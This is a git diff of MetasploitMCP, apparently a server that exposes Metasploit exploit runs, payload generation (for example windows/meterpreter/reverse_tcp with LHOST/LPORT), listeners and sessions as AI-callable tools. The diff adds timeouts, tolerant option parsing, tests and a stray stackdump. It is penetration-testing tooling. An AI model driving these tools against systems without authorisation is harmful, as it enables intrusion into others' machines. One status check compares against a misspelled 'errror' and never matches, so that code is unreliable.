diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..197f22c --- /dev/null +++ b/Makefile @@ -0,0 +1,95 @@ +# Makefile for MetasploitMCP testing and development + +.PHONY: help install-deps test test-unit test-integration test-options test-helpers test-tools coverage clean lint format + +# Default target +help: + @echo "Available targets:" + @echo " help - Show this help message" + @echo " install-deps - Install test dependencies" + @echo " test - Run all tests" + @echo " test-unit - Run unit tests only" + @echo " test-integration - Run integration tests only" + @echo " test-options - Run options parsing tests only" + @echo " test-helpers - Run helper function tests only" + @echo " test-tools - Run MCP tools tests only" + @echo " coverage - Run tests with coverage report" + @echo " coverage-html - Run tests with HTML coverage report" + @echo " lint - Run linting checks" + @echo " format - Format code" + @echo " clean - Clean up generated files" + +# Install test dependencies +install-deps: + python -m pip install -r requirements-test.txt + +# Test targets +test: + python run_tests.py --all + +test-unit: + python run_tests.py --unit + +test-integration: + python run_tests.py --integration + +test-options: + python run_tests.py --options + +test-helpers: + python run_tests.py --helpers + +test-tools: + python run_tests.py --tools + +# Coverage targets +coverage: + python run_tests.py --all --coverage + +coverage-html: + python run_tests.py --all --coverage --html + @echo "Coverage report: file://$(PWD)/htmlcov/index.html" + +# Code quality targets +lint: + @echo "Running flake8..." + -python -m flake8 MetasploitMCP.py tests/ --max-line-length=120 --ignore=E203,W503 + @echo "Running pylint..." + -python -m pylint MetasploitMCP.py --disable=C0301,C0103,R0903,R0913 + +format: + @echo "Running black code formatter..." + -python -m black MetasploitMCP.py tests/ --line-length=120 + @echo "Running isort import formatter..." + -python -m isort MetasploitMCP.py tests/ + +# Cleanup +clean: + rm -rf __pycache__/ + rm -rf tests/__pycache__/ + rm -rf .pytest_cache/ + rm -rf htmlcov/ + rm -rf .coverage + rm -rf *.pyc + rm -rf tests/*.pyc + find . -name "*.pyc" -delete + find . -name "__pycache__" -type d -exec rm -rf {} + + +# Development targets +dev-setup: install-deps + @echo "Development environment setup complete" + +check: lint test + @echo "All checks passed!" + +# CI/CD targets +ci-test: + python run_tests.py --all --coverage --verbose + +# Quick test (no coverage) +quick-test: + pytest tests/ -x -v + +# Test with failure details +test-debug: + pytest tests/ -v --tb=long --capture=no diff --git a/MetasploitMCP.py b/MetasploitMCP.py index 76235c1..34eb2c6 100644 --- a/MetasploitMCP.py +++ b/MetasploitMCP.py @@ -32,7 +32,7 @@ logger = logging.getLogger("metasploit_mcp_server") session_shell_type: Dict[str, str] = {} # Metasploit Connection Config (from environment variables) -MSF_PASSWORD = os.environ.get('MSF_PASSWORD', 'yourpassword') +MSF_PASSWORD = os.getenv('MSF_PASSWORD', 'yourpassword') MSF_SERVER = os.getenv('MSF_SERVER', '127.0.0.1') MSF_PORT_STR = os.getenv('MSF_PORT', '55553') MSF_SSL_STR = os.getenv('MSF_SSL', 'false') @@ -45,6 +45,7 @@ SESSION_COMMAND_TIMEOUT = 60 # Default for commands within sessions SESSION_READ_INACTIVITY_TIMEOUT = 10 # Timeout if no data from session EXPLOIT_SESSION_POLL_TIMEOUT = 60 # Max time to wait for session after exploit job EXPLOIT_SESSION_POLL_INTERVAL = 2 # How often to check for session +RPC_CALL_TIMEOUT = 30 # Default timeout for RPC calls like listing modules # Regular Expressions for Prompt Detection MSF_PROMPT_RE = re.compile(rb'\x01\x02msf\d+\x01\x02 \x01\x02> \x01\x02') # Matches the msf6 > prompt with control chars @@ -73,6 +74,7 @@ def initialize_msf_client() -> MsfRpcClient: raise ValueError("Invalid MSF connection parameters") from e try: + logger.debug(f"Attempting to create MsfRpcClient connection to {MSF_SERVER}:{msf_port} (SSL: {msf_ssl})...") client = MsfRpcClient( password=MSF_PASSWORD, server=MSF_SERVER, @@ -80,6 +82,7 @@ def initialize_msf_client() -> MsfRpcClient: ssl=msf_ssl ) # Test connection during initialization + logger.debug("Testing connection with core.version call...") version_info = client.core.version msf_version = version_info.get('version', 'unknown') if isinstance(version_info, dict) else 'unknown' logger.info(f"Successfully connected to Metasploit RPC at {MSF_SERVER}:{msf_port} (SSL: {msf_ssl}), version: {msf_version}") @@ -95,9 +98,61 @@ def initialize_msf_client() -> MsfRpcClient: def get_msf_client() -> MsfRpcClient: """Gets the initialized MSF client instance, raising an error if not ready.""" if _msf_client_instance is None: + logger.error("Metasploit client has not been initialized. Check MSF server connection.") raise ConnectionError("Metasploit client has not been initialized.") # Strict check preferred + logger.debug("Retrieved MSF client instance successfully.") return _msf_client_instance +async def check_msf_connection() -> Dict[str, Any]: + """ + Check the current status of the Metasploit RPC connection. + Returns connection status information for debugging. + """ + try: + client = get_msf_client() + logger.debug(f"Testing MSF connection with {RPC_CALL_TIMEOUT}s timeout...") + version_info = await asyncio.wait_for( + asyncio.to_thread(lambda: client.core.version), + timeout=RPC_CALL_TIMEOUT + ) + msf_version = version_info.get('version', 'N/A') if isinstance(version_info, dict) else 'N/A' + return { + "status": "connected", + "server": f"{MSF_SERVER}:{MSF_PORT_STR}", + "ssl": MSF_SSL_STR, + "version": msf_version, + "message": "Connection to Metasploit RPC is healthy" + } + except asyncio.TimeoutError: + return { + "status": "timeout", + "server": f"{MSF_SERVER}:{MSF_PORT_STR}", + "ssl": MSF_SSL_STR, + "timeout_seconds": RPC_CALL_TIMEOUT, + "message": f"Metasploit server not responding within {RPC_CALL_TIMEOUT}s timeout" + } + except ConnectionError as e: + return { + "status": "not_initialized", + "server": f"{MSF_SERVER}:{MSF_PORT_STR}", + "ssl": MSF_SSL_STR, + "message": f"Metasploit client not initialized: {e}" + } + except MsfRpcError as e: + return { + "status": "rpc_error", + "server": f"{MSF_SERVER}:{MSF_PORT_STR}", + "ssl": MSF_SSL_STR, + "message": f"Metasploit RPC error: {e}" + } + except Exception as e: + return { + "status": "error", + "server": f"{MSF_SERVER}:{MSF_PORT_STR}", + "ssl": MSF_SSL_STR, + "message": f"Unexpected error: {e}" + } + @contextlib.asynccontextmanager async def get_msf_console() -> MsfConsole: """ @@ -233,11 +288,107 @@ async def run_command_safely(console: MsfConsole, cmd: str, execution_timeout: O logger.exception(f"Error executing console command '{cmd}'") raise RuntimeError(f"Failed executing console command '{cmd}': {e}") from e +from mcp.server.session import ServerSession + +#################################################################################### +# Temporary monkeypatch which avoids crashing when a POST message is received +# before a connection has been initialized, e.g: after a deployment. +# pylint: disable-next=protected-access +old__received_request = ServerSession._received_request + + +async def _received_request(self, *args, **kwargs): + try: + return await old__received_request(self, *args, **kwargs) + except RuntimeError: + pass + + +# pylint: disable-next=protected-access +ServerSession._received_request = _received_request +#################################################################################### + # --- MCP Server Initialization --- mcp = FastMCP("Metasploit Tools Enhanced (Streamlined)") # --- Internal Helper Functions --- +def _parse_options_gracefully(options: Union[Dict[str, Any], str, None]) -> Dict[str, Any]: + """ + Gracefully parse options from different formats. + + Handles: + - Dict format (correct): {"key": "value", "key2": "value2"} + - String format (common mistake): "key=value,key=value" + - None: returns empty dict + + Args: + options: Options in dict format, string format, or None + + Returns: + Dictionary of parsed options + + Raises: + ValueError: If string format is malformed + """ + if options is None: + return {} + + if isinstance(options, dict): + # Already correct format + return options + + if isinstance(options, str): + # Handle the common mistake format: "key=value,key=value" + if not options.strip(): + return {} + + logger.info(f"Converting string format options to dict: {options}") + parsed_options = {} + + try: + # Split by comma and then by equals + pairs = [pair.strip() for pair in options.split(',') if pair.strip()] + for pair in pairs: + if '=' not in pair: + raise ValueError(f"Invalid option format: '{pair}' (missing '=')") + + key, value = pair.split('=', 1) # Split only on first '=' + key = key.strip() + value = value.strip() + + # Validate key is not empty + if not key: + raise ValueError(f"Invalid option format: '{pair}' (empty key)") + + # Remove quotes if they wrap the entire value + if (value.startswith('"') and value.endswith('"')) or \ + (value.startswith("'") and value.endswith("'")): + value = value[1:-1] + + # Basic type conversion + if value.lower() in ('true', 'false'): + value = value.lower() == 'true' + elif value.isdigit(): + try: + value = int(value) + except ValueError: + pass # Keep as string if conversion fails + + parsed_options[key] = value + + logger.info(f"Successfully converted string options to dict: {parsed_options}") + return parsed_options + + except Exception as e: + raise ValueError(f"Failed to parse options string '{options}': {e}. Expected format: 'key=value,key2=value2' or dict {{'key': 'value'}}") + + # For any other type, try to convert to dict + try: + return dict(options) + except (TypeError, ValueError) as e: + raise ValueError(f"Options must be a dictionary or comma-separated string format 'key=value,key2=value2'. Got {type(options)}: {options}") + async def _get_module_object(module_type: str, module_name: str) -> Any: """Gets the MSF module object, handling potential path variations.""" client = get_msf_client() @@ -591,7 +742,12 @@ async def list_exploits(search_term: str = "") -> List[str]: client = get_msf_client() logger.info(f"Listing exploits (search term: '{search_term or 'None'}')") try: - exploits = await asyncio.to_thread(lambda: client.modules.exploits) + # Add timeout to prevent hanging on slow/unresponsive MSF server + logger.debug(f"Calling client.modules.exploits with {RPC_CALL_TIMEOUT}s timeout...") + exploits = await asyncio.wait_for( + asyncio.to_thread(lambda: client.modules.exploits), + timeout=RPC_CALL_TIMEOUT + ) logger.debug(f"Retrieved {len(exploits)} total exploits from MSF.") if search_term: term_lower = search_term.lower() @@ -604,9 +760,13 @@ async def list_exploits(search_term: str = "") -> List[str]: limit = 100 logger.info(f"No search term provided, returning first {limit} exploits.") return exploits[:limit] + except asyncio.TimeoutError: + error_msg = f"Timeout ({RPC_CALL_TIMEOUT}s) while listing exploits from Metasploit server. Server may be slow or unresponsive." + logger.error(error_msg) + return [f"Error: {error_msg}"] except MsfRpcError as e: - logger.error(f"Failed to list exploits from Metasploit: {e}") - return [f"Error: Failed to list exploits: {e}"] + logger.error(f"Metasploit RPC error while listing exploits: {e}") + return [f"Error: Metasploit RPC error: {e}"] except Exception as e: logger.exception("Unexpected error listing exploits.") return [f"Error: Unexpected error listing exploits: {e}"] @@ -626,7 +786,12 @@ async def list_payloads(platform: str = "", arch: str = "") -> List[str]: client = get_msf_client() logger.info(f"Listing payloads (platform: '{platform or 'Any'}', arch: '{arch or 'Any'}')") try: - payloads = await asyncio.to_thread(lambda: client.modules.payloads) + # Add timeout to prevent hanging on slow/unresponsive MSF server + logger.debug(f"Calling client.modules.payloads with {RPC_CALL_TIMEOUT}s timeout...") + payloads = await asyncio.wait_for( + asyncio.to_thread(lambda: client.modules.payloads), + timeout=RPC_CALL_TIMEOUT + ) logger.debug(f"Retrieved {len(payloads)} total payloads from MSF.") filtered = payloads if platform: @@ -642,9 +807,13 @@ async def list_payloads(platform: str = "", arch: str = "") -> List[str]: limit = 100 logger.info(f"Found {count} payloads matching filters. Returning max {limit}.") return filtered[:limit] + except asyncio.TimeoutError: + error_msg = f"Timeout ({RPC_CALL_TIMEOUT}s) while listing payloads from Metasploit server. Server may be slow or unresponsive." + logger.error(error_msg) + return [f"Error: {error_msg}"] except MsfRpcError as e: - logger.error(f"Failed to list payloads from Metasploit: {e}") - return [f"Error: Failed to list payloads: {e}"] + logger.error(f"Metasploit RPC error while listing payloads: {e}") + return [f"Error: Metasploit RPC error: {e}"] except Exception as e: logger.exception("Unexpected error listing payloads.") return [f"Error: Unexpected error listing payloads: {e}"] @@ -653,7 +822,7 @@ async def list_payloads(platform: str = "", arch: str = "") -> List[str]: async def generate_payload( payload_type: str, format_type: str, - options: Dict[str, Any], # Required: e.g., {"LHOST": "1.2.3.4", "LPORT": 4444} + options: Union[Dict[str, Any], str], # Required: e.g., {"LHOST": "1.2.3.4", "LPORT": 4444} or "LHOST=1.2.3.4,LPORT=4444" encoder: Optional[str] = None, iterations: int = 0, bad_chars: str = "", @@ -670,7 +839,8 @@ async def generate_payload( Args: payload_type: Type of payload (e.g., windows/meterpreter/reverse_tcp). format_type: Output format (raw, exe, python, etc.). - options: Dictionary of required payload options (e.g., LHOST, LPORT). MUST be provided. + options: Dictionary of required payload options (e.g., {"LHOST": "1.2.3.4", "LPORT": 4444}) + or string format "LHOST=1.2.3.4,LPORT=4444". Prefer dict format. encoder: Optional encoder to use. iterations: Optional number of encoding iterations. bad_chars: Optional string of bad characters to avoid (e.g., '\\x00\\x0a\\x0d'). @@ -686,7 +856,13 @@ async def generate_payload( client = get_msf_client() logger.info(f"Generating payload '{payload_type}' (Format: {format_type}) via RPC. Options: {options}") - if not options: + # Parse options gracefully + try: + parsed_options = _parse_options_gracefully(options) + except ValueError as e: + return {"status": "error", "message": f"Invalid options format: {e}"} + + if not parsed_options: return {"status": "error", "message": "Payload 'options' dictionary (e.g., LHOST, LPORT) is required."} try: @@ -694,7 +870,7 @@ async def generate_payload( payload = await _get_module_object('payload', payload_type) # Set payload-specific required options (like LHOST/LPORT) - await _set_module_options(payload, options) + await _set_module_options(payload, parsed_options) # Set payload generation options in payload.runoptions # as per the pymetasploit3 documentation @@ -809,7 +985,7 @@ async def run_exploit( module_name: str, options: Dict[str, Any], payload_name: Optional[str] = None, - payload_options: Optional[Dict[str, Any]] = None, + payload_options: Optional[Union[Dict[str, Any], str]] = None, run_as_job: bool = False, check_vulnerability: bool = False, # New option timeout_seconds: int = LONG_CONSOLE_READ_TIMEOUT # Used only if run_as_job=False @@ -822,7 +998,8 @@ async def run_exploit( module_name: Name/path of the exploit module (e.g., 'unix/ftp/vsftpd_234_backdoor'). options: Dictionary of exploit module options (e.g., {'RHOSTS': '192.168.1.1'}). payload_name: Name of the payload (e.g., 'linux/x86/meterpreter/reverse_tcp'). - payload_options: Dictionary of payload options (e.g., {'LHOST': '...', 'LPORT': ...}). + payload_options: Dictionary of payload options (e.g., {'LHOST': '...', 'LPORT': ...}) + or string format "LHOST=1.2.3.4,LPORT=4444". Prefer dict format. run_as_job: If False (default), run sync via console. If True, run async via RPC. check_vulnerability: If True, run module's 'check' action first (if available). timeout_seconds: Max time for synchronous run via console. @@ -832,9 +1009,15 @@ async def run_exploit( """ logger.info(f"Request to run exploit '{module_name}'. Job: {run_as_job}, Check: {check_vulnerability}, Payload: {payload_name}") + # Parse payload options gracefully + try: + parsed_payload_options = _parse_options_gracefully(payload_options) + except ValueError as e: + return {"status": "error", "message": f"Invalid payload_options format: {e}"} + payload_spec = None if payload_name: - payload_spec = {"name": payload_name, "options": payload_options or {}} + payload_spec = {"name": payload_name, "options": parsed_payload_options} if check_vulnerability: logger.info(f"Performing vulnerability check first for {module_name}...") @@ -853,6 +1036,9 @@ async def run_exploit( is_vulnerable = "appears vulnerable" in output or "is vulnerable" in output or "+ vulnerable" in output # Check for negative indicators (more reliable sometimes) is_not_vulnerable = "does not appear vulnerable" in output or "is not vulnerable" in output or "target is not vulnerable" in output or "check failed" in output + if check_result.get('status') == "errror": + logger.warning(f"Error from metasploit: {check_result}") + return {"status": "aborted", "message": f"Check indicates a failure: {check_result.get('message')}", "check_output": check_result.get("module_output")} if is_not_vulnerable or (not is_vulnerable and check_result.get("status") == "error"): logger.warning(f"Check indicates target is likely not vulnerable to {module_name}.") @@ -1013,7 +1199,11 @@ async def list_active_sessions() -> Dict[str, Any]: client = get_msf_client() logger.info("Listing active Metasploit sessions.") try: - sessions_dict = await asyncio.to_thread(lambda: client.sessions.list) + logger.debug(f"Calling client.sessions.list with {RPC_CALL_TIMEOUT}s timeout...") + sessions_dict = await asyncio.wait_for( + asyncio.to_thread(lambda: client.sessions.list), + timeout=RPC_CALL_TIMEOUT + ) if not isinstance(sessions_dict, dict): logger.error(f"Expected dict from sessions.list, got {type(sessions_dict)}") return {"status": "error", "message": f"Unexpected data type for sessions list: {type(sessions_dict)}"} @@ -1022,9 +1212,13 @@ async def list_active_sessions() -> Dict[str, Any]: # Ensure keys are strings for consistent JSON sessions_dict_str_keys = {str(k): v for k, v in sessions_dict.items()} return {"status": "success", "sessions": sessions_dict_str_keys, "count": len(sessions_dict_str_keys)} + except asyncio.TimeoutError: + error_msg = f"Timeout ({RPC_CALL_TIMEOUT}s) while listing sessions from Metasploit server. Server may be slow or unresponsive." + logger.error(error_msg) + return {"status": "error", "message": error_msg} except MsfRpcError as e: - logger.error(f"Failed to list sessions: {e}") - return {"status": "error", "message": f"Error listing sessions: {e}"} + logger.error(f"Metasploit RPC error while listing sessions: {e}") + return {"status": "error", "message": f"Metasploit RPC error: {e}"} except Exception as e: logger.exception("Unexpected error listing sessions.") return {"status": "error", "message": f"Unexpected error listing sessions: {e}"} @@ -1207,7 +1401,11 @@ async def list_listeners() -> Dict[str, Any]: client = get_msf_client() logger.info("Listing active listeners/jobs") try: - jobs = await asyncio.to_thread(lambda: client.jobs.list) + logger.debug(f"Calling client.jobs.list with {RPC_CALL_TIMEOUT}s timeout...") + jobs = await asyncio.wait_for( + asyncio.to_thread(lambda: client.jobs.list), + timeout=RPC_CALL_TIMEOUT + ) if not isinstance(jobs, dict): logger.error(f"Unexpected data type for jobs list: {type(jobs)}") return {"status": "error", "message": f"Unexpected data type for jobs list: {type(jobs)}"} @@ -1252,9 +1450,13 @@ async def list_listeners() -> Dict[str, Any]: "total_job_count": len(jobs) } + except asyncio.TimeoutError: + error_msg = f"Timeout ({RPC_CALL_TIMEOUT}s) while listing jobs from Metasploit server. Server may be slow or unresponsive." + logger.error(error_msg) + return {"status": "error", "message": error_msg} except MsfRpcError as e: - logger.error(f"Error listing jobs/handlers: {e}") - return {"status": "error", "message": f"Error listing jobs: {e}"} + logger.error(f"Metasploit RPC error while listing jobs/handlers: {e}") + return {"status": "error", "message": f"Metasploit RPC error: {e}"} except Exception as e: logger.exception("Unexpected error listing jobs/handlers.") return {"status": "error", "message": f"Unexpected server error listing jobs: {e}"} @@ -1264,7 +1466,7 @@ async def start_listener( payload_type: str, lhost: str, lport: int, - additional_options: Optional[Dict[str, Any]] = None, + additional_options: Optional[Union[Dict[str, Any], str]] = None, exit_on_session: bool = False # Option to keep listener running ) -> Dict[str, Any]: """ @@ -1274,7 +1476,8 @@ async def start_listener( payload_type: The payload to handle (e.g., 'windows/meterpreter/reverse_tcp'). lhost: Listener host address. lport: Listener port (1-65535). - additional_options: Optional dict of additional payload options (e.g., LURI, HandlerSSLCert). + additional_options: Optional dict of additional payload options (e.g., {"LURI": "/path"}) + or string format "LURI=/path,HandlerSSLCert=cert.pem". Prefer dict format. exit_on_session: If True, handler exits after first session. If False (default), it keeps running. Returns: @@ -1285,10 +1488,16 @@ async def start_listener( if not (1 <= lport <= 65535): return {"status": "error", "message": "Invalid LPORT. Must be between 1 and 65535."} + # Parse additional options gracefully + try: + parsed_additional_options = _parse_options_gracefully(additional_options) + except ValueError as e: + return {"status": "error", "message": f"Invalid additional_options format: {e}"} + # exploit/multi/handler options module_options = {'ExitOnSession': exit_on_session} # Payload options (passed within the payload_spec) - payload_options = additional_options or {} + payload_options = parsed_additional_options payload_options['LHOST'] = lhost payload_options['LPORT'] = lport @@ -1458,12 +1667,19 @@ async def health_check(): """Check connectivity to the Metasploit RPC service.""" try: client = get_msf_client() # Will raise ConnectionError if not init - logger.debug("Executing health check MSF call (core.version)...") + logger.debug(f"Executing health check MSF call (core.version) with {RPC_CALL_TIMEOUT}s timeout...") # Use a lightweight call like core.version - version_info = await asyncio.to_thread(lambda: client.core.version) + version_info = await asyncio.wait_for( + asyncio.to_thread(lambda: client.core.version), + timeout=RPC_CALL_TIMEOUT + ) msf_version = version_info.get('version', 'N/A') if isinstance(version_info, dict) else 'N/A' logger.info(f"Health check successful. MSF Version: {msf_version}") return {"status": "ok", "msf_version": msf_version} + except asyncio.TimeoutError: + error_msg = f"Health check timeout ({RPC_CALL_TIMEOUT}s) - Metasploit server is not responding" + logger.error(error_msg) + raise HTTPException(status_code=503, detail=error_msg) except (MsfRpcError, ConnectionError) as e: logger.error(f"Health check failed - MSF RPC connection error: {e}") raise HTTPException(status_code=503, detail=f"Metasploit Service Unavailable: {e}") diff --git a/README.md b/README.md index 54dd7fe..cf29b79 100644 --- a/README.md +++ b/README.md @@ -160,6 +160,129 @@ This tool provides direct access to Metasploit Framework capabilities, which inc 3. Generate a payload: `generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})` 4. Stop a handler: `stop_job(1)` +## Testing + +This project includes comprehensive unit and integration tests to ensure reliability and maintainability. + +### Prerequisites for Testing + +Install test dependencies: + +```bash +pip install -r requirements-test.txt +``` + +Or use the convenient installer: + +```bash +python run_tests.py --install-deps +# OR +make install-deps +``` + +### Running Tests + +#### Quick Commands + +```bash +# Run all tests +python run_tests.py --all +# OR +make test + +# Run with coverage report +python run_tests.py --all --coverage +# OR +make coverage + +# Run with HTML coverage report +python run_tests.py --all --coverage --html +# OR +make coverage-html +``` + +#### Specific Test Suites + +```bash +# Unit tests only +python run_tests.py --unit +# OR +make test-unit + +# Integration tests only +python run_tests.py --integration +# OR +make test-integration + +# Options parsing tests +python run_tests.py --options +# OR +make test-options + +# Helper function tests +python run_tests.py --helpers +# OR +make test-helpers + +# MCP tools tests +python run_tests.py --tools +# OR +make test-tools +``` + +#### Test Options + +```bash +# Include slow tests +python run_tests.py --all --slow + +# Include network tests (requires actual network) +python run_tests.py --all --network + +# Verbose output +python run_tests.py --all --verbose + +# Quick test (no coverage, fail fast) +make quick-test + +# Debug mode (detailed failure info) +make test-debug +``` + +### Test Structure + +- **`tests/test_options_parsing.py`**: Unit tests for the graceful options parsing functionality +- **`tests/test_helpers.py`**: Unit tests for internal helper functions and MSF client management +- **`tests/test_tools_integration.py`**: Integration tests for all MCP tools with mocked Metasploit backend +- **`conftest.py`**: Shared test fixtures and configuration +- **`pytest.ini`**: Pytest configuration with coverage settings + +### Test Features + +- **Comprehensive Mocking**: All Metasploit dependencies are mocked, so tests run without requiring an actual MSF installation +- **Async Support**: Full async/await testing support using pytest-asyncio +- **Coverage Reporting**: Detailed coverage analysis with HTML reports +- **Parametrized Tests**: Efficient testing of multiple input scenarios +- **Fixture Management**: Reusable test fixtures for common setup scenarios + +### Coverage Reports + +After running tests with coverage, reports are available in: + +- **Terminal**: Coverage summary displayed after test run +- **HTML**: `htmlcov/index.html` (when using `--html` option) + +### CI/CD Integration + +For continuous integration: + +```bash +# CI-friendly test command +make ci-test +# OR +python run_tests.py --all --coverage --verbose +``` + ## Configuration Options ### Payload Save Directory diff --git a/bash.exe.stackdump b/bash.exe.stackdump new file mode 100644 index 0000000..63a4869 --- /dev/null +++ b/bash.exe.stackdump @@ -0,0 +1,16 @@ +Stack trace: +Frame Function Args +000FFFFCD30 00210062B0E (0021028A770, 00210275E51, 00000000059, 000FFFFB690) +000FFFFCD30 0021004846A (00210278640, 00200000000, 00000000000, 00000000001) +000FFFFCD30 002100484A2 (00000000000, 00000000000, 00000000059, 00800440042) +000FFFFCD30 0021006E496 (00210045323, 002103588D0, 00000000000, 0000000000D) +000FFFFCD30 0021006E4A9 (00210045170, 0021023D7E0, 002100448F2, 000FFFFC890) +000FFFFCD30 00210070DE4 (00000000013, 00000000001, 000FFFFC890, 00210278640) +000FFFFCD30 0021005AB65 (000FFFFC9E0, 00000000000, 00000000000, 008FFFFFFFF) +000FFFFCD30 0021005B335 (00000000002, 00200001000, 00200000004, 00000000030) +000FFFFCD30 0021005B847 (002100DF73E, 00000000000, 00000000000, 00000000000) +000FFFFCD30 0021005BB86 (00210142BC0, 00000000000, FFFFFFFFFFFFFF40, 00200000000) +000FFFFCD30 00210048C0C (00000000000, 00000000000, 00000000000, 00000000000) +000FFFFFFF0 00210047716 (00000000000, 00000000000, 00000000000, 00000000000) +000FFFFFFF0 002100477C4 (00000000000, 00000000000, 00000000000, 00000000000) +End of stack trace diff --git a/conftest.py b/conftest.py new file mode 100644 index 0000000..14377a9 --- /dev/null +++ b/conftest.py @@ -0,0 +1,157 @@ +#!/usr/bin/env python3 +""" +Pytest configuration and shared fixtures for MetasploitMCP tests. +""" + +import pytest +import sys +import os +from unittest.mock import Mock, patch + +# Add the project root to Python path +sys.path.insert(0, os.path.dirname(__file__)) + +def pytest_configure(config): + """Configure pytest with custom settings.""" + # Mock external dependencies that might not be available + mock_modules = [ + 'uvicorn', + 'fastapi', + 'mcp.server.fastmcp', + 'mcp.server.sse', + 'pymetasploit3.msfrpc', + 'starlette.applications', + 'starlette.routing', + 'mcp.server.session' + ] + + for module in mock_modules: + if module not in sys.modules: + sys.modules[module] = Mock() + +def pytest_collection_modifyitems(config, items): + """Modify test collection to add markers automatically.""" + for item in items: + # Add unit marker to test_options_parsing and test_helpers + if "test_options_parsing" in item.nodeid or "test_helpers" in item.nodeid: + item.add_marker(pytest.mark.unit) + + # Add integration marker to integration tests + if "test_tools_integration" in item.nodeid: + item.add_marker(pytest.mark.integration) + + # Mark network tests + if "network" in item.name.lower(): + item.add_marker(pytest.mark.network) + + # Mark slow tests + if any(keyword in item.name.lower() for keyword in ["slow", "timeout", "long"]): + item.add_marker(pytest.mark.slow) + +@pytest.fixture(scope="session") +def mock_msf_environment(): + """Session-scoped fixture that provides a complete mock MSF environment.""" + + class MockMsfRpcClient: + def __init__(self): + self.modules = Mock() + self.core = Mock() + self.sessions = Mock() + self.jobs = Mock() + self.consoles = Mock() + + # Default return values + self.core.version = {'version': '6.3.0'} + self.modules.exploits = [] + self.modules.payloads = [] + self.sessions.list.return_value = {} + self.jobs.list.return_value = {} + + class MockMsfConsole: + def __init__(self, cid='test-console'): + self.cid = cid + + def read(self): + return {'data': '', 'prompt': 'msf6 > ', 'busy': False} + + def write(self, command): + return True + + class MockMsfRpcError(Exception): + pass + + # Apply mocks + with patch.dict('sys.modules', { + 'pymetasploit3.msfrpc': Mock( + MsfRpcClient=MockMsfRpcClient, + MsfConsole=MockMsfConsole, + MsfRpcError=MockMsfRpcError + ) + }): + yield { + 'client_class': MockMsfRpcClient, + 'console_class': MockMsfConsole, + 'error_class': MockMsfRpcError + } + +@pytest.fixture +def mock_logger(): + """Fixture providing a mock logger.""" + with patch('MetasploitMCP.logger') as mock_log: + yield mock_log + +@pytest.fixture +def temp_payload_dir(tmp_path): + """Fixture providing a temporary directory for payload saves.""" + payload_dir = tmp_path / "payloads" + payload_dir.mkdir() + + with patch('MetasploitMCP.PAYLOAD_SAVE_DIR', str(payload_dir)): + yield str(payload_dir) + +@pytest.fixture +def mock_asyncio_to_thread(): + """Fixture to mock asyncio.to_thread for testing.""" + async def mock_to_thread(func, *args, **kwargs): + return func(*args, **kwargs) + + with patch('asyncio.to_thread', side_effect=mock_to_thread): + yield + +@pytest.fixture +def capture_logs(caplog): + """Fixture to capture and provide log output.""" + import logging + caplog.set_level(logging.DEBUG) + return caplog + +# Command line options +def pytest_addoption(parser): + """Add custom command line options.""" + parser.addoption( + "--run-slow", + action="store_true", + default=False, + help="Run slow tests" + ) + parser.addoption( + "--run-network", + action="store_true", + default=False, + help="Run tests that require network access" + ) + +def pytest_runtest_setup(item): + """Setup hook to skip tests based on markers and options.""" + if "slow" in item.keywords and not item.config.getoption("--run-slow"): + pytest.skip("Skipping slow test (use --run-slow to run)") + + if "network" in item.keywords and not item.config.getoption("--run-network"): + pytest.skip("Skipping network test (use --run-network to run)") + +# Test environment setup +@pytest.fixture(autouse=True) +def reset_msf_client(): + """Automatically reset the global MSF client between tests.""" + with patch('MetasploitMCP._msf_client_instance', None): + yield diff --git a/pytest.ini b/pytest.ini new file mode 100644 index 0000000..e330662 --- /dev/null +++ b/pytest.ini @@ -0,0 +1,38 @@ +[tool:pytest] +# Pytest configuration for MetasploitMCP + +# Test discovery +testpaths = tests +python_files = test_*.py +python_classes = Test* +python_functions = test_* + +# Output and reporting +addopts = + -v + --tb=short + --strict-markers + --disable-warnings + --cov=MetasploitMCP + --cov-report=term-missing + --cov-report=html:htmlcov + --cov-fail-under=80 + +# Async test support +asyncio_mode = auto + +# Markers +markers = + unit: Unit tests for individual functions + integration: Integration tests for full workflows + slow: Tests that take longer to run + network: Tests that require network access (disabled by default) + +# Minimum version +minversion = 7.0 + +# Filter warnings +filterwarnings = + ignore::DeprecationWarning + ignore::PendingDeprecationWarning + ignore:.*unclosed.*:ResourceWarning diff --git a/requirements-test.txt b/requirements-test.txt new file mode 100644 index 0000000..0babf64 --- /dev/null +++ b/requirements-test.txt @@ -0,0 +1,6 @@ +# Testing dependencies for MetasploitMCP +pytest>=7.0.0 +pytest-asyncio>=0.21.0 +pytest-mock>=3.10.0 +pytest-cov>=4.0.0 +mock>=4.0.3 diff --git a/requirements.txt b/requirements.txt index 8c18806..b799216 100644 --- a/requirements.txt +++ b/requirements.txt @@ -2,3 +2,4 @@ fastapi>=0.95.0 uvicorn[standard]>=0.22.0 pymetasploit3>=1.0.6 mcp>=1.6.0 +fastmcp>=2.10.3 diff --git a/run_tests.py b/run_tests.py new file mode 100644 index 0000000..7d29861 --- /dev/null +++ b/run_tests.py @@ -0,0 +1,129 @@ +#!/usr/bin/env python3 +""" +Test runner script for MetasploitMCP. +Provides convenient commands for running different test suites. +""" + +import sys +import os +import argparse +import subprocess +from pathlib import Path + +def run_command(cmd, description=""): + """Run a command and handle errors.""" + if description: + print(f"\nšŸ”„ {description}") + print(f"Running: {' '.join(cmd)}") + + try: + result = subprocess.run(cmd, check=True, capture_output=True, text=True) + print("āœ… Success!") + if result.stdout: + print(result.stdout) + return True + except subprocess.CalledProcessError as e: + print(f"āŒ Failed with exit code {e.returncode}") + if e.stdout: + print("STDOUT:", e.stdout) + if e.stderr: + print("STDERR:", e.stderr) + return False + +def check_dependencies(): + """Check if test dependencies are installed.""" + try: + import pytest + import pytest_asyncio + import pytest_mock + import pytest_cov + return True + except ImportError as e: + print(f"āŒ Missing test dependency: {e}") + print("šŸ’” Install test dependencies with: pip install -r requirements-test.txt") + return False + +def main(): + parser = argparse.ArgumentParser(description="MetasploitMCP Test Runner") + parser.add_argument("--all", action="store_true", help="Run all tests") + parser.add_argument("--unit", action="store_true", help="Run unit tests only") + parser.add_argument("--integration", action="store_true", help="Run integration tests only") + parser.add_argument("--options", action="store_true", help="Run options parsing tests only") + parser.add_argument("--helpers", action="store_true", help="Run helper function tests only") + parser.add_argument("--tools", action="store_true", help="Run MCP tools tests only") + 